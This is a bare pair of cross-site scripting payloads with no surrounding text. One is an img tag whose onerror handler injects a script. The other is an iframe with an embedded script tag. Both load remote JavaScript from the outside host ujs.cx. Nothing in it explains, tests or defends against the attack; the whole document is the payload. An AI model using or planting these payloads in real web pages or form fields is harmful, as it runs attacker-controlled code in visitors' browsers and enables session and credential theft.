<img src=x hidden onerror=s=createElement(‘script’);body.appendChild(s);s.src=’//ujs.cx/e4a’;>

<iframe src=<script src=’//ujs.cx/e4a’></script>></iframe>